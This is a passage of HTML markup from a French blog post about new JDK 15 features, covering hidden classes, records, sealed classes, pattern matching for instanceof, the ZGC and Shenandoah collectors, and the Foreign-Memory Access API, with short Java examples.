&lt;p&gt;A mon avis, sauf si vous travaillez sur des frameworks, vous aurez peu l&amp;#8217;occasion d&amp;#8217;utiliser cette fonctionnalité.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En effet, les classes cachées sont des classes créées dynamiquement à l&amp;#8217;exécution.
Voici deux exemples classiques :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;génération des classes &quot;proxy&quot; afin qu&amp;#8217;un framework puisse faire des traitements avant et après l&amp;#8217;appel de notre méthode&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;exécution de code qui ne soit pas du java. Par exemple, un moteur javascript peut générer une classe cachée ayant le code binaire correspondant au traitement souhaité.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Le terme &quot;Classes cachées&quot; est utilisé car les classes ainsi générées ne sont pas visibles par le chargeur de classes (ClassLoader). Cela permet aussi d&amp;#8217;avoir un cycle de vie différent non lié à un chargeur de classes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le volet de sécurisation de la JVM, l&amp;#8217;objectif est aussi de limiter, voire supprimer l&amp;#8217;usage des API interne et notamment des API de la classe &lt;code&gt;&lt;em&gt;sun.misc.Unsafe&lt;/em&gt;&lt;/code&gt;. (Cela a été largement abordé lors de la sortie du JDK 9 en faisant couler beaucoup d&amp;#8217;encre).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En l&amp;#8217;occurrence, le mécanisme des classes cachées permet de déprécier la méthode &lt;code&gt;&lt;em&gt;sun.misc.Unsafe::defineAnonymousClass&lt;/em&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;373_reimplement_the_legacy_datagramsocket_api&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/373&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;373 - Reimplement the Legacy DatagramSocket API&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est le tour de l&amp;#8217;API DatagramSocket d&amp;#8217;être réimplémenté dans ce JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les API concernées sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&lt;em&gt;java.net.DatagramSocket&lt;/em&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&lt;em&gt;java.net.MulticastSocket&lt;/em&gt;&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est le même que la précédente JEP (&lt;a href=&quot;https://openjdk.java.net/jeps/353&quot;&gt;JEP 353 - Reimplement the Legacy Socket API&lt;/a&gt;) concernant l&amp;#8217;API Socket qui a été livrée dans JDK 13.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le code précédent provient du JDK 1.0. C&amp;#8217;est à dire un mélange de vieux codes Java et C.  De plus, l&amp;#8217;implémentation du MulticastSocket était particulière car IPv6 étaient en développement à l&amp;#8217;époque. Tout cela amène à avoir du code complexe et difficile à maintenir.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est d&amp;#8217;avoir un nouveau développement moderne, plus facile à maintenir. De plus, c&amp;#8217;est aussi l&amp;#8217;occasion d&amp;#8217;avoir une implémentation compatible avec les threads virtuelles du &lt;a href=&quot;https://wiki.openjdk.java.net/display/loom/Main&quot;&gt;Projet Loom&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ainsi, le projet Loom pourra arriver plus rapidement dans un prochain JDK.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;339_edwards_curve_digital_signature_algorithm_eddsa&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/339&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;339 - Edwards-Curve Digital Signature Algorithm (EdDSA)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;implémenter des signatures cryptographiques à l&amp;#8217;aide de l&amp;#8217;algorithme de signature numérique Edwards-Curve (EdDSA).
La définition est faite dans la &lt;a href=&quot;https://tools.ietf.org/html/rfc8032&quot;&gt;RFC 8032&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce schéma de signature est optionnel dans TLS 1.3 mais quelques utilisateurs ont des certificats EdDSA. L&amp;#8217;intérêt est donc que la JVM supporte ce type de certificat.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;implémentation est faite en Java, sans usage de code natif (à l&amp;#8217;inverse de l&amp;#8217;implémentation ECDSA).
Cela permet de ne pas avoir d&amp;#8217;adhérence avec une librairie tierce.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouvelles_fonctionnalités_coté_ramasse_miette&quot;&gt;Nouvelles fonctionnalités (Coté ramasse-miette)&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ZGC et Shenandoah passent du mode expérimental en mode production.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; En revanche, cela ne change en rien le ramasse-miette &lt;strong&gt;par défaut&lt;/strong&gt;. C&amp;#8217;est toujours &lt;strong&gt;G1&lt;/strong&gt; pour le JDK 15.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;377_zgc_a_scalable_low_latency_garbage_collector&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/377&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;377 - ZGC: A Scalable Low-Latency Garbage Collector&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;ZGC a été introduit dans le JDK 11 en mode expérimental. Au fur et à mesure des versions, des portages ont été réalisés ainsi que des corrections de bug. Les retours de la communauté sont positifs, ce qui a permit de le considérer comme stable pour la production&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;379_shenandoah_a_low_pause_time_garbage_collector&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/379&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;379 - Shenandoah: A Low-Pause-Time Garbage Collector&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce ramasse-miette est peut-être plus connu car il a été introduit dans le JDK 8 et JDK 11 fourni par Red Hat.
Son intégration au sein du projet OpenJDK a commencé dans le JDK 12.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Une caractéristique forte de ce ramasse-miette est son temps de pause qui reste identique quelque soit la taille du tas (&quot;heap&quot;).&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;fonctionnalités_en_mode_aperçu&quot;&gt;Fonctionnalités en mode Aperçu&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les trois premières fonctionnalités concernent la mise en place du &quot;pattern matching&quot;.
L&amp;#8217;ajout de ces items provient du &lt;a href=&quot;https://wiki.openjdk.java.net/display/amber/Main&quot;&gt;projet Amber&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Le principe et les directions ont été exposés par Gavin Bierman and Brian Goetz dans le billet suivant en septembre 2018 : &lt;a href=&quot;https://cr.openjdk.java.net/~briangoetz/amber/pattern-match.html&quot;&gt;Pattern Matching for Java (en)&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;375_pattern_matching_for_instanceof_second_preview&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/375&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;375 - Pattern Matching for instanceof (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La première fonctionnalité de cette série consiste à supprimer un irritant de Java avec l&amp;#8217;utilisation de &lt;code&gt;&lt;em&gt;instanceof&lt;/em&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Généralement, nous écrivons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String) {
    String s = (String) obj;
    // utilisation de s
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous nous posons toujours la question, pourquoi convertir la variable &lt;em&gt;obj&lt;/em&gt; en chaîne de caractère explicitement alors que nous avons vérifié au préalable que la variable &lt;em&gt;obj&lt;/em&gt; est une instance d&amp;#8217;une chaîne de caractère.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;La proposition est d&amp;#8217;écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String s) {
    // utilisation de s en tant que chaine de caractere
    ... s.contains(..);
} else {
    // pas possible d&apos;utiliser la variable s
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Dans le premier bloc (if), nous pouvons utiliser directement la variable &lt;em&gt;s&lt;/em&gt; comme une chaîne de caractère. D&amp;#8217;un autre côté, dans le second bloc (else), la variable &lt;em&gt;s&lt;/em&gt; n&amp;#8217;est pas connue.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela est aussi possible dans l&amp;#8217;évaluation des conditions. Cela donne une écriture élégante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;if (obj instanceof String s &amp;amp;&amp;amp; s.length() &amp;gt; 5) {.. s.contains(..) ..}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;384_records_second_preview&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/384&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;384 - Records (Second Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est un second aperçu. C&amp;#8217;est à dire que la fonctionnalité a été intégrée la première fois dans le JDK 14. Ils ont rédigé une nouvelle version en prenant en compte les différents retours.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les objectifs de cette proposition sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Diminuer la complexité de l&amp;#8217;orienté objet en ayant une structure simple pour aggréger les données&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Faciliter le développement en proposant des structures immuables&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons un objet &lt;em&gt;Point&lt;/em&gt; ayant deux attributs : x et y.
Nous pensons au début à une classe simple ayant la définition suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Point {

	int x;
	int y;

}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sauf qu&amp;#8217;il est nécessaire de protéger les attributs avec des accesseurs (et oui, pas de mutateur car la structure est immuable, pour rappel). Nous avons aussi les bonnes pratiques avec la redéfinition de la méthode hashcode(), equals().&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au final, nous écrivons ceci :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;public class Point {

	private final int x;
	private final int y;

	public Point(int x, int y) {
		super();
		this.x = x;
		this.y = y;
	}

	public int getX() {
		return x;
	}
	public int getY() {
		return y;
	}
	@Override
	public int hashCode() {
		final int prime = 31;
		int result = 1;
		result = prime * result + x;
		result = prime * result + y;
		return result;
	}
	@Override
	public boolean equals(Object obj) {
		if (this == obj)
			return true;
		if (obj == null)
			return false;
		if (getClass() != obj.getClass())
			return false;
		Point other = (Point) obj;
		if (x != other.x)
			return false;
		if (y != other.y)
			return false;
		return true;
	}
	@Override
	public String toString() {
		return &quot;Point [x=&quot; + x + &quot;, y=&quot; + y + &quot;]&quot;;
	}
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Il est à noter que même lors de la création de la classe, si nous écrivons correctement le code pour les méthodes hashcode() et equals(), il y a un risque fort que les méthodes ne soient pas mises à jour si nous rajoutons un attribut.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Avec les records, nous écrivons simplement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) { }&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Vous voyez l&amp;#8217;introduction d&amp;#8217;un nouveau mot clé : &lt;code&gt;&lt;em&gt;record&lt;/em&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;De ce fait, nous avons automatiquement :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;un accesseur public pour chaque attribut&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un attribut final privé pour chaque attribut&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;un constructeur contenant chaque attribut&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode equals()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode hashcode()&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;une méthode toString() pour visualiser les valeurs de chaque attribut.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Des contrôles peuvent être faites lors de la construction:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Range(int lo, int hi) {
    Range {
        if (lo &amp;gt; hi)  // référence implicite aux paramètres du constructeur
            throw new IllegalArgumentException(String.format(&quot;(%d,%d)&quot;, lo, hi));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt; Vous remarquerez qu&amp;#8217;il n&amp;#8217;a pas de paramètre, ni d&amp;#8217;affectation au niveau du constructeur comme nous le ferions habituelle avec une classe Java. Cela n&amp;#8217;est pas nécessaire car cela est automatique avec les records.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Comme précisé plus haut, les records sont immuables. Donc elles ne peuvent pas être utilisées pour représenter une entité JPA. En effet, par définition, les entités JPA sont mutables.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, elle peuvent très bien servir pour l&amp;#8217;utilisation de DTO.
Dans ce sens, les librairies commencent en prendre en compte, comme Jackson ci-dessous&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;imageblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;img src=&quot;/resources/img/blog/2020/jackson-supports-records.png&quot; alt=&quot;Support des Records au niveau de Jackson&quot;&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;360_sealed_classes_preview&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/360&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;360 - Sealed Classes (Preview)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité provient aussi du &lt;a href=&quot;https://wiki.openjdk.java.net/display/amber/Main&quot;&gt;projet Amber&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est que l&amp;#8217;auteur d&amp;#8217;une classe ou d&amp;#8217;une interface puisse contrôler qui peut en hériter ou l&amp;#8217;implémenter.
C&amp;#8217;est à dire que l&amp;#8217;auteur limite l&amp;#8217;ensemble des classes dérivées possibles.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par exemple, nous avons :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.exemple.geometrie;

public abstract sealed class Forme
    permits Cercle, Rectangle, Carre {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est à dire qu&amp;#8217;il y a seulement trois formes possibles : Cercle, Rectangle et Carre.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes dérivées peuvent être dans des packages différents comme dans l&amp;#8217;exemple ci-dessous :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;package com.exemple.geometrie;

public abstract sealed class Forme
    permits com.example.polar.Cercle,
            com.example.quad.Rectangle,
            com.example.quad.simple.Carre {
	...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt; Cela ne change rien au niveau du mot clé &lt;code&gt;&lt;em&gt;final&lt;/em&gt;&lt;/code&gt; indiquant que la classe ne peut pas avoir de classes dérivées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cela va aussi dans le sens des correspondance de modèle (&quot;pattern matching&quot;) où nous pouvons avoir une analyse complète des modèles.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Sans correspondance de modèle, nous avons le code suivant (peu lisible) :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;int getCentre(Forme forme) {
    if (forme instanceof Cercle) {
        return ... ((Cercle)forme).center() ...
    } else if (forme instanceof Rectangle) {
        return ... ((Rectangle)forme).length() ...
    } else if (forme instanceof Carre) {
        return ... ((Carre)forme).side() ...
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Grace à l&amp;#8217;analyse complète du modèle (&quot;pattern-matching&quot;), nous pouvons écrire simplement le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;int getCentre(Forme forme) {
    return switch (forme) {
        case Cercle c    -&amp;gt; ... c.center() ...
        case Rectangle r -&amp;gt; ... r.length() ...
        case Carre t    -&amp;gt; ... t.side() ...
    };
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;383_foreign_memory_access_api_second_incubator&quot;&gt;&lt;a href=&quot;http://openjdk.java.net/jeps/383&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;383 - Foreign-Memory Access API (Second Incubator)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le but est d&amp;#8217;avoir une API sûr et efficace qui permette des accès mémoire au delà du tas (&quot;heap&quot;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Est-ce bien nécessaire ? Si le développeur classique Java n&amp;#8217;a pas généralement ce type de besoin. C&amp;#8217;est le cas de nombreux librairies comme Apache Ignite, mapDB, memcached, Apache Lucene et Netty par exemple.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les points importants sont :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Généralité : Cette API devra concerner les différents types de mémoire (mémoire native, mémoire persistante, &amp;#8230;&amp;#8203;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Sûr : Elle devra maintenir la stabilité de la JVM&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Déterministe : Les opérations de dé-allocation devront être explicite dans le code.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Conviviale : L&amp;#8217;API devra être facile à appréhender.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;C&amp;#8217;est la deuxième proposition (Seconde incubation). La première a été introduite dans le JDK 14 (&lt;a href=&quot;https://openjdk.java.net/jeps/370&quot;&gt;JEP370&lt;/a&gt;).
Elle a été revue en prenant en compte les retours des utilisateurs de la première implémentation. Plusieurs changements ont été apportés que nous ne détaillerons pas dans ce billet.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En Java, écrire que la dé-allocation doit être explicite dans le code n&amp;#8217;est pas habituel car nous sommes habitués au ramasse-miette, mais cela permet d&amp;#8217;éviter le coût  de ce dernier et son côté imprévu (On ne se sait pas quand il passe). Cela est très important lors  de la gestion de cache très volumineux.
De plus, cela permet de gérer des scénarios divers comme avec de la mémoire partagée.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A l&amp;#8217;heure actuelle, il existe trois possibilités :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&lt;em&gt;ByteBuffer&lt;/em&gt;&lt;/code&gt; API (introduit dans le JDK 1.4). Plusieurs limitations sont associés à cette API dont la limitation d&amp;#8217;allouer plus de 2 Giga (utilisation du type int).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&lt;em&gt;sun.misc.Unsafe&lt;/em&gt;&lt;/code&gt; API (Le nom est évoqueur). L&amp;#8217;API permet l&amp;#8217;accès directe à la mémoire. Cela est efficient mais il n&amp;#8217;y a pas non plus de protection. Un mauvais usage peut provoquer un crash de la JVM.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;JNI (Java Native Interface). L&amp;#8217;accès est sûr mais le coût associé à cette solution est important. Cela nécessite des développeurs qui écrivent et maintiennent du code en langage C. De plus, les accès JNI sont lents car cela nécessite la transition java à c.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le succès de cette nouvelle API sera lié à sa performance vis à vis des solutions existantes (notamment les 2 premières cités).&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;divers&quot;&gt;Divers&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au delà des fonctionnalités décrites dans les JEPs, il reste intéressant de lire les &lt;a href=&quot;http://jdk.java.net/15/release-notes&quot;&gt;notes de versions&lt;/a&gt;. Cela permet de récupérer des changements moins notables.
Par exemple, nous retrouvons l&amp;#8217;ajout ou le retrait d&amp;#8217;un certificat d&amp;#8217;une autorité de certification dans le magasin de clé du JDK.
Mais certaines sont encore plus intéressantes comme la suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;hr&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;helpful_nullpointerexception_jdk_8233014&quot;&gt;&lt;a href=&quot;https://bugs.openjdk.java.net/browse/JDK-8233014&quot;&gt;Helpful NullPointerException (JDK-8233014)&lt;/a&gt;&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
